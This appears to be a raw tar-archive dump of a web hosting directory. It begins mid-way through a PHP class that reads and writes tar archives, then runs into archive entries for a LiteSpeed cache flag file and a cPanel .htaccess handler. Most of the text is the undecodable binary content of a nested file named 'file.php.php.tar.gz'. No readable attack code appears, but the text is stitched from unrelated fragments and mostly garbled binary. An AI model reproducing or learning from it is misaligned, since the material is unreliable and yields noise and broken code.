                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}.litespeed_flag000064400000000451151057443550007525 0ustar00This file was created by LiteSpeed Web Cache Manager

When this file exists, your LiteSpeed Cache plugin for WordPress will NOT be affected
by Mass Enable/Disable operations performed through LiteSpeed Web Cache Manager.

Please DO NOT ATTEMPT to remove this file unless you understand the above.
.litespeed_flag.tar000064400000004000151057443550010304 0ustar00home/kbdhpghp/bemkasar.com.br/.litespeed_flag000064400000000451151057443360015207 0ustar00This file was created by LiteSpeed Web Cache Manager

When this file exists, your LiteSpeed Cache plugin for WordPress will NOT be affected
by Mass Enable/Disable operations performed through LiteSpeed Web Cache Manager.

Please DO NOT ATTEMPT to remove this file unless you understand the above.
.htaccess000064400000000437151057443550006357 0ustar00
# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php81” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php81___lsphp .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not editfile.php.php.tar.gz000064400000065264151057443550010214 0ustar00���v�J��u�����.)�ߤ����-J)~JdUY� 	(��]���k{ϙ�c�ϱ��z�=�;�g<�w�+�}�}�}���@)P���Ӿ�%Ȍ����������wz��`8�;�d�Ȍ��_G������?���}���s(���� 	�#�p8��P4��_���g&+��P�!p�~����[���ޣ��f���#�G吜PwWw�-#0V���$s�@}a�{��@Mh����P ��D�%��L�0@�\����)I��,��$V�`<ff�P��5� �R�4�q2��\?ioأ�#�������3�	��=�2���z��ӟ�G]Qs�L�R�8�Y	=�1+�ф	�P�+qS�zG�Q�j�&>)�R�H��9C�<�d��^e*��?ҋ����<7g�i��!�e�G�����}#���廏4Ap�Q�(hD�0�!�"|�Fv�k�$_�+�8�S�?��wN}<�EWV@�᩷��S�Y�;�QXI}�Nyr�!��S�)E���
����������Z��R��g
5�35<����t%(���D��TE��H�Xf�;�Ray�9��R��R3�'z)���O��ٮ��G�$�1�G�u;~�"
�Gy""����6D�50����D��#n?�ٕe�P��ޑ�EM�NWH��=�z�өW~�F�^$�����,}v]�����N��m�h����	��;O�'�#��>7�����.����
�N.�(H1��lJ�*EJa:<P��P����w�����5�JP��)�N�vU��2�z2��ek����k��4�߼���2��,�x�f�_���/�����ŗ���7?���gx!��J�Q�L��`4�E��xVa)e�TL��P׉Ҋr�/3��,�:y ��N���Ŀ���_����~�s/��?��}�=��?��{����WP�/�!�����S_�=��/�E_ݸ>�����/�A���CA�~-A��DO�뗿!��Cn�D�D�?���A�=��-��˿��0�_�����ST埫��-B���K�,�]����'��߀�/χh�ʠ���o�dDb�o�
���
<�/�ח��ӒY��j�G�3��ߨ�@��7��<C:Pa{��Q��ߡ��_n�d%�'�CD
�k��ߣ��;�&�dp/A��`��g|��=��t3!��?��D��k���;�kY��	1�!������H�KDT�@�N�
�����~��?�&vg%	��bI�D(�w*�����P����ߠ�[LJ�0�C������������@�aժEI� a��"�'�`j�fӞ�u*h
:��B�p��:��7_�ۏ�\��)#P�k3,���d�y��
]̤���񟢷m`S�X�h �#H�W�J�@��u��7Ÿ�z��AE5�W�Ք�C���ʌt3�އEu�����Ͽ����З���$4�xD���T�͗�����F�V��
�T� ��کX�tp%vA
���k���ҟc�0t� �xd�6�	J�w��˿Ct�Z�S��-Gx��S��BZ�5Qu�ǵ�bQ���&9�Nզ���é
�?��=�0�B�O��2[UPϪJ	UC|g��rD1}4d)0�Te�/T�l&���(
��5K;� �P�������^���H�g׏�ނ�#k:p�H��d�#2��'��0*j̜U�H��jx��c�OP�;4����X
%�`Հ,��
ֆ�����	��T�
UJ�l"�#JK/��j��-�k<J��q5���@+O���*����3rg֙���65��O���K2
�����^!���'�gP&��� ����@]�k<2�8Smr�׺��kg��g,y�;�r��Xd�j]�le�H�Dd\S������_�т� �?��[`�k,�
�f������d��[C�[�I�����5��>o������U���#��u�
%�qjZ���)+���L��+^�2���hh�T�A,�ֺi�z��H"�>��
٥Ȭ���vQ./5Ẓ#�}rraW��C��<�"�`��4#I���b��%��?=�ӗ�?���OD>"d2UV���j�����\���zOiE�q��W���:��7��kˊ�~H>���?�f�h�~}B���y����&��Ӯ�b�V&f�a"�ڧ�`��Ų�u�G��Q������{XR��^f�D<
hУe��\H�90'T����T���JbYxH�ɪ+�Q[����J��$�AO<E�"M�T����u#q�
�
�`C{#aʐQ(D��Ɓ4G
��o�Q�y����AɈ=d�"��x�(,g�\���	�d4e����2��9忠pC����+���]����Ga6a%����F���5�T�aG;v*�a��ގ9Z�sʅ]RH�m��j�M;4�tL۸�=�L��0�� ��#�e�A�؃O+`�J�|����:n�'S�A�޵E�Ɗ%cQ�ġ��K��7o\d�>��]T��b//v�,����
���~������x5��5��j�M5��C�&;$��A:f�+d
X�g���ta_'dJT�B�X1t��*�εy�U�<J�u����-�!(R�Axp0A]�D�@4���{x�u!i'Q]�����_��aA�$Q4��G~�y��'ȔR��_��t�%q��Т����͛%/��"����1��ت���t ��p�O��9<].����l���;0%��AaHK����ȡ�p��{��&L�Hn�<O�.����M�TG��]LfIL� ��%Q$n��������
�G�~?��������7����+T�nP���aI�jk�W�Pe2x)�g�R�0�)`��8�6Y	�}G��z���6����z��1�Ng���d)�H泠QY����4~ q�P������|��J���`x��p�0b�P����O� �
5l��\�i�Zu�!�b
?[�2<��ռ�zƍ|��;�@@� ~�A|;)���n����Li�c
���GMYi���t�aAd�`��J����G�{j��9eST���8�X��+t�-�`ΝIH�J�"�8�4j�he��V{����TGc�.�6oV�����
��:"e��l�Ѵ�,|���u�}�{ؓ�3�X.�4�U+��02j�!�iZ�l��i|�YęƑF�	�R�TD	;�:z��V��33Z0���	��h\3�����
����
݁�jb�N���V.=6J�Z:y�͠o�t9�%zr��?�ڲ��1W(f-�Ɋ�@F��є.Z�}k ��G���	���Gn��O>}���u�-|���벲���j�&\}v8C+&ؕFZ���Z�<����G.��"����k�e^h�#L�T�v4yl�ݫS��o��/A=>�]F���E��C�ȼ+���7vLJ-��V�A�i��͢�I�i�W4e�5,����L�;�2�z�iC�o��o�ǰ���Fm#Հ\�QU�Ǩ�p=h��*3I�l^Bm�t�<��^u�`j���L�'
�bÏNjٍ��eHs�%�eI��(�W��%Zm#ؤ�U�#
�>2p���)������x��`2��3A�X�z�@����|.gs�6'�?
�:�o�}�����-�'�ɦ<
��]�_����ª��.<��枖�w^�n���j݌�J\QՅ���1�k�k�4�-�n6A��*��(�2�O�DB��7h�&vǬ�D�j$�.��Ǭ�R��P�<��դ#�\�*"�B����DU��g�C�9uBNtCN�rRh�=&K<�?���������x��sBPpCP��Қ�Nu��8��\!W��8e�4�#�!†0F��p��Qz���./p}�*
Y!&������Kr����ePg[e�qRv�lʢ���q��A,]�	u��PMÃ�hL^g�=H�4&p@c�q�Ƅ�4&��1����!
;o�?x@cv�	�t*���������7�8�"{u�J�:Ϣ�2,�(|UWS�G^yϼz��٣;u%.]~ا�/a�e_�����j���%��k�]�%0�D�Q�wU��5>�a�� `}�{6h
bi��[D���K�p� ���ڂ�Ym2�A��}��"`��n������u���
!T��f�=���%)����F��z�,&6C8�}��.~-KX%�A�[i6iI���p�h�����lK�� K�*B�J#x��{�he�
��K�i巣��b�W�쒓��zϲ
-�z�� AXS�f8y*�4�bu�=��44�#�F��{�_P��v0��j�"��)�:��F"�eO5>9Z�<UD��rJ�Я��h̰d;s�#���t���*��Ud��2<������ ��}#�����<t��X,���Rp\��&HY��ȟ�*;��RG���Y��o���V��S�	�FăB�z�h$�:�f���((�Z�~l����&e��5��>����V:!�DZn��tn��…w\��O��a�$*�R�#^xz�r�F���h'N����ق����U��dڀ�O5vo[&u/��{�zI{OK�߉<<�,>&��� S��A��E�%�`x�Z�g>�Y)��{@V�Zߛ�J�X�v�7����Б�7G�������`���B�?�c,[��\u~rrb����;��8=��:��=����l\�mnݸ���	P��p3����M�n�.����M$6&�C
K<�H�7�W���_lnN�1dN mZ�C��Os?�y��^;M�*����&�(V��LŌc�c�!���#��cT+[/��^v9�L���h���=�Q�I�E�V�@��e�f�k�+�|b5�	2���m����n�'��^|�D0ڏq`��J��d��[�����B��@��m(l���Zt.Y[ч�;]�7Ŷ���4L�� �d4��hp<
�YGV�
 /�RhY���ad�:͡u� �M,@DT�A��fh�f�s���6t?�3lr�3��������8E�Ȅ�3%럭m
�1ٷ�I�Qd|��ն�U"zf��&{V��W�1��c�S�Bs��^g"~ꉔ��QO�|���91��U�O�}�PC��'��#��\	R7�v�	��"8`�C�.�w���\�l��>��}�~�6y�e���@kԵ;~���s�p�$����O�y��}	�;��C�=&���|n@��:�Jw޻��@�9��s]���h��e��:��C����x�VP$Dk��w�Y��'_��D�
�^����#��`GG��;B�ZKEe�:�kG�\�CD��N����>�+��2 �������ui䢅}�@X��7løđ~���0o_�So�D��<=֊��:�CNw9E#ͬh��#4�	�x��O_r���s�f6�����я�X1��I�8L&�:�ߘ�BE��1����!���U���s#N�S4:��j,�#�$*�H�0����p�l���W�<�s��`���pMt����a��#r4h�~ħR��`�oT�z���̧�-���PW�M1������&+T�3�}{?y��WzP���M����^�D5Z;�s?�Xd��&�H�. ��{�Xm=9�a�ȅ:�J�^��	�-�NK��Z���	K�L% /��a!�)����N��M���nl���6�J¸�9�E*&�#�}��X�i�J�33���%|H%��"��ɖ�5@sk��L3^��)s��pb��Վ��d�04OCp���:7&k0�TC��8��pa7��j��HI�f��<#!�ӈ55~{�Y��9C�1�˖�q�ߌ��"�*"P��=�%���u�=����wG�G�B��9)�z��l��V&�
� S]����!/���_`'a�[y��xVFT��jU'ϖM�ѱiZ������Uߞ�BƵ���\$H��n�@�6�_�����l1��S�S�j����7w�0��� ��
[7�t�Z�(����T�w���B��>j��?h�|.�������v��L���d=���۲�.�HM���kf�X�he𮻏9�����32�x<��,"���Psn:�P�e�u�P��M}B5��F��v9�c�e��F�ޙ�8BMt4����x#��t��>u��a���U}�_�o��36��jS}�c.�B�NM��\���;P#F�
�>
X�{��uT���u�1Ͱ��W�� ��>�6٨�%4�o��z����'�-'�X�������#U�B\�̨���m�o<�@<���u:9�=^�r���h�M�O$J���{<k�=�2k�p�˭��i�v��+2�2<+�
w�B�����`�-M�].�&�\�c j��t�R]lpv����S����	��E�3�`h��9����zO�%t�T�9Ǐ�u�h�R��oL0"��Ӽ^.m�M�Mu�Cc�>��O��">x�Uwf}��P�q$Ai*�24���|�~�Ү�.�f�aH4���bv�vg���Bk�y!����U;��|��Z��I����Z
�nU{7;
[mT��X����Æ;�Q��x��B3� �{6�7!C:-``��Dq6�Z>����c��ː�e�n덀q4k� �J8p6F8��4	}�,#�`�9[O�_'�2�u���v�M�^=���6@v�q2��{Y�Ϧ���~�l悪���!G�N��_�+P���|�pַ
��V��w��f���&�����R�l�+�d>�{To{7Ba�h(N�GYY!Sڄ��{�)b�q�qb(N�SN�!mqN�K�Z�B�P-ɥ-��ȋ�9�AV̘,��1<�*pʴ�H��{�+���
��� ��1�>��R��N�a�1��ګosi�B"��[n>4�`HL����?��Da��@s;6h�"�#M@�T�{Tx>`��)7�)Gg�>����=�[�\3U�.�7���D�R�1�6�[
~&+��-����:|I�{�z#�L�Ѕ��&ZA�J=W���Y�<i�Q��Z���hU�C�zv�}�3I)ToM��D�,�t,u��+?5�]:·���S�ݫT�>�"�z���%&(��M�n�#a���ڀ�W�p]���B��`tv7Z�[�hC����H%#7|�?��Om�>V��`s��g-OvQ�D:��M�F����(�Ш;�c�Yp���0�\�̦C��$O��B20���gL#\�Y ��,jzox�K�
I����n�>*�B�E�,�셯{�CS��B6�K�'*\jBk��r�����Ƣ�G|�$�<�Np0Q
�	���k���Z__Do���>d늸��JM|;�L���L{&�Q�&�ʌW��&���n=��p�H~�W�2�Q���/]Mt<%�1垎5YO�	fn'��bJ?��m�v�
��>_�i�5�����a�c|�~z����P]��on���b$N���5�d�)Ǭ<�����6���t$ȱ�:���:�u<�!��Bt�a)�Ep�X3��,G�l2�G���l�e&�nn9h��鳧�l1�Y��{�lT�+��F|Iǹк1�=7�� y�]Ί��:��@F�Oו>����G���d��d���^����J�P
���d67���B�WZ�=�1i�W�ru߈C�`��V��,�F�VKNr�x㬵δF�i�]]�r�4��J�\���|%��U+�\s�	����(��P��&_���[e���g7�be8h�g�XiY�?�����p��FϞ����-��g��ʪޘ��S�1w��S����L���ܤm{*�L+�P�k�Y|�+�Cl1�烍dj�����!v��H�p�LN��h�/����(:�����}c��2ӡ���5f�4��,�H3ۻ+�VB���恧V�Z|����:I��2�"��&�j���na����6"Yi|=	l��3Zy���ԯ���:d;�;d�㎸$N)��7'��e�]+�;E�|��H���8�|Gf��7�U4Ȓ�Pa�[��6��w�������>	MJ~®}�vI�~�m��Hk"�Vz��bIp/��L���;(5�B5׎�SITD4��7�ZNS^�Z�*{�u�6�@�h�v]�USӞl=Ş{H��oHh�v�#���T�;���[��+W��L6�xW-�˶��Í�Hv��P}����֟�`����"��泐rU��l7FX;��;zǐi)��7�;w��D�r82p�4�a����_K�v��ę#{`9irq|��;y��hG���!S 
e/wzJf14q��}�b���m���Bc
���W8���r��#�9;Bqt�`���D�HK��!r�u`!��(��3�|ĕ�M�Kg�)+&a�t�����#�z0������d�ғ��+7k�������u}���	;�$��1��J����?��#�C�	Y�S�S$u��nB��0�����
Yc ��g|�Ә}�6JF���t~o�$�p�Z��Z#qi����i�c��
�Fq�J\�#�����v��a�
��
���'�@-��J� ����JQa�a��I�(�N�)(�"j$
F�$�������UO��;w�IK�' ��\ﱰ�s�! 	s,��\�7��!�"��[����������,�$��_�\�?�s=�5z�{K4�1/� ��8�=d�ʔ�1�X��/��A{�4���8�
���|/;�l��@x���b�\��ou�~$.��:='��O��D��T)�G>t(Ɓ��}���ձ�AL
�wT19�Pe�v���)
�~s\aU_]R&�!W��'1B��+dV��E �S��]$��b��+�qW�lZkܧ@P�K��	�cIŻ�y<��Csv�(xt�5�`��g�M��g[3�Z��Z��xW�8�z=�8nzD�4A� o;�;�aB,��'���E����7E	�؏)�\F`�,�	y�w�랍5���ސ�k��.kw�D�joS�&��8$�'�—�6���A'����"�a8��L6��&�؅k#�Zgň��!c�y�t�¤ij���kO�&{���Kk�~�(��#����q�qN'��$zu�N���d��UO�����p�è���_��xvF�_��
!��&�#�I��y�;zU|�>Z�x|��G�G8O��m��>d�N�A�l��6�X%�q�JV�����d[��%�y�p�'��T�z�Jm>����N�9ւ�mSh��ۡua����V�u��?��6�>X��`Em��⏰?^�����+�x�Tٜ��D����H�j�@�Ѭ��N?J���y����auѓ�h�7�1�*a���\?��y���݆�]��ϑ*�$��{�w��>ׯ\�I/��>��J/�l�$�{�io�4`�$�*o��vD�	��sZ���l���|2��}�V���6܎
�/2��/�8A�'�G3�?�h�
Y.�9v GZ^��т�)�!�����Μ�]�g�[�<��Q��-�T4�:bo��L���y����<,��4.+ɭ���	�\��
�v��6��c�����5|_$Y���<-���t�g<g��JҎ}��'Z�Rr?��f糭�z�q��+6�U8�j��p�Op
c�N_r넎QK�ST])j���٠S��zlT��3aPi|B�";K��5�6���cv�ԭ`���cs��ر�P�g�.ߓ���������޺��pg�%��|��v
'�0\�b�K��n3�Ph�C`��"5W�܂��n��l�ApӬ�9�i���w�i����	�]b�&sS���w˶+\X��<�6�}�m�-�^��S��wu��׿�w��>��$�mb��yb�!AE�l�k�"�p��
}�k��H4���pD����C�Y8Ni�wS��\��s��`7���~��wj	Rֲ��x�uL2]X�&qOv�I�؝(��/�	k+|��U��1���%T��u��+��|kأ���CI����&��<B��F:����b?����t��d2{�����޼�$���Y���9��kOr%�C�������6	_>{~~=u������W9o�aev=�
�@��El�fp��&#�v�SB�N2�B�p���&��S'/8$��Z��~xCӁD���R��]�K�w%�'��ݣ���]-㥢���u!�)p�
��k������q3\9�UM���CZ�px�V�3�RY����.��"UO#��t��� >��Jq���]���FLjQδS����-Q�O%;�7CYe��C���
b�ZT
���M2zj�Q��rG�6/��VTg6���Aŗ���=�Z9�ѻ�:�3�s=���y	��qs-�VO/�p'؜�X�x����/�'� �Np�
u�[���(��K}ˆ��~���m���gT���{q�OE�{�����������aD� ��b_T� 4Jw��P�Sp(��8:��Op���VG���G�
����ss$vX��PEc��
'څ0�-:����t;�1D���QcE�Ƅ0\K�6p�-��M��&&�Cb"N����K��b���بe��|�T�R.��H
n&r�r%W.��r:Y/�K���Y�Z����V��{�W��f���]e�T�rZ���e�P�~V��F�T�&K5Tٻ}1��h9��.�.@��&�����
S�׷nY�$>}DZ�<ŧ�����'��
�d�
l���1xDyئ�A��ex����+���!퇡t�~�ƻ� �<��vp�\�ں�G�v��1�W}�)���7;f(����s�7�IV���޹��浶vvaW�|޽Ol��4��}�
0�zt�t~�r��9>T}�g&�:�����j\��N�i�����jNx���~��9'��9�*s��9ؙ�Q?P��m�?=;��g�Oa�Tw<���I}��8g%C�L&z����:8�FRѧ1
���\2��E�Ň��n�ÊZ��gn�7$�Ug`/1Է�t*����Uz�!���yɱ|��|H�je���
Y��ʁ�#����k��H�Y`�4�^*�+Dr��R�m�A���-���%��Jf��P6f(�Y2��e�&NG6��0=���Cȅ [��F��\4ը�q¸(Vx��N�^��R��Rz�}N�����{?���(ƫ��Iu��̕g�(��`/w�Z2}��P ����ǔQ��ľ�y_��dSYf�h��"��HL�Of>�$�za���+������q�l���A>S	�*L���	��N(9�5J��Uj�	���|#��1B�$4sw��(
ͫ�Z�K�Ye�6
��u�'�Z�PWj��	��F7[�6�|�p�ry$�osͬ�)�7�d\`nʃh���R,�01gL���)����݌���z��'���}-S��Z�ۧF�Ͳ��2^χ�ʬR��\_%��$�n�sk�v�J�
=w��T��W�A2Ŗn��d&Yoϓ������*S��l���n�?���B��̦�����ͣw�I�]O� �L�,������'���SO�=�5KVR>�m&�tZo���� ��Y�5�i.�,����D����̤���v!YL����r69[%��[���d�C�
�U)�,�ڨn>�w���l�-w�PG�'�B|V�D��\'�,S��Cq����ͲlU���qr�&�|�&UJ҃x|�z;]�U��
�%9V.��`��+Q)��W�\kv�t=R�
�s��r�)�=뼘��ĔB?�ؠ*>f�^�-���]��H�e�iҥ��*����E�dƑ��f��Ӈ~?",x:٤��!��p1�]���V�*u7,䵿~��#��a�؍�gWt�[��EϿ*fk�7������n+����5
�k��n�
�??����Y�zB�FR΋��ìZd����.X[u+�W�dx�M&�nb��U�&9��\&�=ў8M7�5)��֭$��ʸ��o�5}�Fl�ޤS7R*���|z�L
שTo�J��AI���o���0�NOjɫ��
�JW8.��${H��l�W�MU�S�&óΌ�=��c���*��TS��ު]1\2�q�`4&��p��+�P��t�KU���Zj�
q�(䚅�~�;(D��e~6�Ɛ���U~��.�B~ը��b33c��X͋�y�}UYN��x=�t�
s�ZE�_y
�b�S�w��Z�e;��l)��r} �ۥ�*���JZ�ͧEf��g�[Tj��C2]oe{� U��j���}6֪�W�?��K�qf��J_�n�Oٙ�Z��n�����PL��g�x��LŸ�]���Ը���:6�$Ǔ�4W�e���<c��-�k)q4�L;?[�֓RҪ�0�z&���=�a��o���d�����ؐ�O���g�
���'��T�)3
%(��
�?gb�P�o�+f��d$��u-z����d����g�
�z|5R��R~y>�z��h���[,J��}f
7�I'���K>����7��?,���ʢ���&e�����fs�p�x�}u��6o��̯�y�f�4}�ا�Ҍ�͂g���Τq�y�=U���4���J4p�i�i9�]=MX���ӫH�n�����������I�淭A:xۖC�p/���������J��e�F���j0ƭ�OOL6RY�nn�1/7ڣ�U82\z����@nn؇x(z��7la������x�n.��)��T�Q�O��4�3��"r��T"��_ҽ�v�.��!�q��CL�f�l���R@�OL��;J�;�M=і E� ��v�}���pyV�
�>��ͫLn���qJ�o��A|Yo.;�E��w��\�[JV��!��j�Y/Ϛ�Q�u7�����8�;]ft=hM��.��i)6�����i���vݮ�b)0&k�2�.
�	D�}%�b؜(+O\p�o^˳*3兙"-gæ�g��fsړ��"0~> ͔Y�[������-,b��"O�O�n[.?�R�l�L���}Nh
{���-<��]:�	�]�_eZ�v�I���n���e��e%ʬ���](�;��L��^k���3w#exW�Ah�f���\��t�wk�0�������)N��R	�l��w�\>���~ߛ�ʝ�,(��4�Lcb�+�~a5a�륵���P񤪑^�NG<���/]E�*~O�{
��Q1�{�z�B�6CO��0��z�F����׋PhTd��m)����b=^��'��}6�C��A��j/�׃F>u�(�<W�x��)߭�N�Ϭ�l 5�IG*�fj�Q���Tˉ��"ծB�Ȩ<�F����ѽ?�F&��"���_
�l�.Yp���J�j([Z���h���
M��H��M�&z����]I�F��]�5k��m��\[."E�iV�D�B�c��Ux�ҞR,A�<X��Uy1��KfZ�򴝬���u}Q�&��R��u�P���iAH_u��GWKJ�̖�7�H9><��j��|��0/�e�X����t\\�f��d����`!�_�՟�n[�ڸ�ZV��a�]�=S!2iW�%?�=�hQY�Y�ҿfb劔l��HqV�:b3'���x%Oz|3���pSn3���K��j�Rf�Rd=hZ�ʅZ�}������߻/3gR^�ȣ���7�e#wnߧ��Y�)x3	5�ѹҌ���䟰�4h�R+��R*9)�P���}��λO�W��z��S^�ʞ\kr#
�\���
��Ոχ{��i��k�'f�������$�v���d���a2�p)�{�gzg�J98?t��~�4�
bm4ז�"o3����j��]���+��R�)�W�|�*��]�+=t�c�]�]���l6K��N��W�=���]4z�4�<z��ʝ�+e���%i�Ua
bB#P
�����%E���r����м��J�@s�^��\iQ���~�:Dw�L]bz�2&��W��Y���+�����N��d�tZ�,Z�/<�^�)$H����D����K�ս�D[�8�_�ë����X$��tD���ʡ�x��x�٫��?~�9���y���&ܻ�Y=�z36|�<ţ��S�,���]�gcBq�H�ebŒ��6�	E�3���Ί�H�ڡ�=[��z�~)ڡ��3���S���gky>t��S0^�-�gٌR��P�߼�=��h�:{Z\����U�Jw�����,��Y&��)n�ϴ:�0x�u��Ϣ��P����+���(G˳Ynٚ��f�_��GU��_�2�yX�4+%���<珞èg�0X�6c��|�,���24��wuO5^���tp��ͺ��/'�1�&#�5��]{2���rUMf��]<IG�g�Nx���]�H/�\G+AFH��0y���j��M'��!��7eX1��8uXx��׃r�R��g�[�]��Bղ�j�M���j^��Γœ�p��_wnR�u�_�M6�i�:�d��$�g�v��{�&�*�l��L�~�"[�Y��c��ٲ9�ׂ�^
��?zC?u��]����(��k%%�i>D�\c%�O�3A���j�A>+��)�B6٪,�d��6��t����7ɍ=O�Le�������Yd��d�r��7�b-bg��`.��2���"s׎E��J�ٸn*hbg��u���A�$��ߚO'�~$7+�=��T"�z����F+�l1�+>y�N���=3��4F1�|����Fl�j��Q���\�5��*��}n��6���P�/zKN��*��l��Z��:=n�W���<�d���Y�T/���RF�Z�RO�~`�
Ɂ�,T��|�Y)3VXUb�*���'wu�pe�O�Re��(V�h�i�_ݟ�<�N^.t��|�wrӫ�R#;�i7+i:��On���8��'���f�|���cw�(φ�Ty%ƻ�r{}z��V
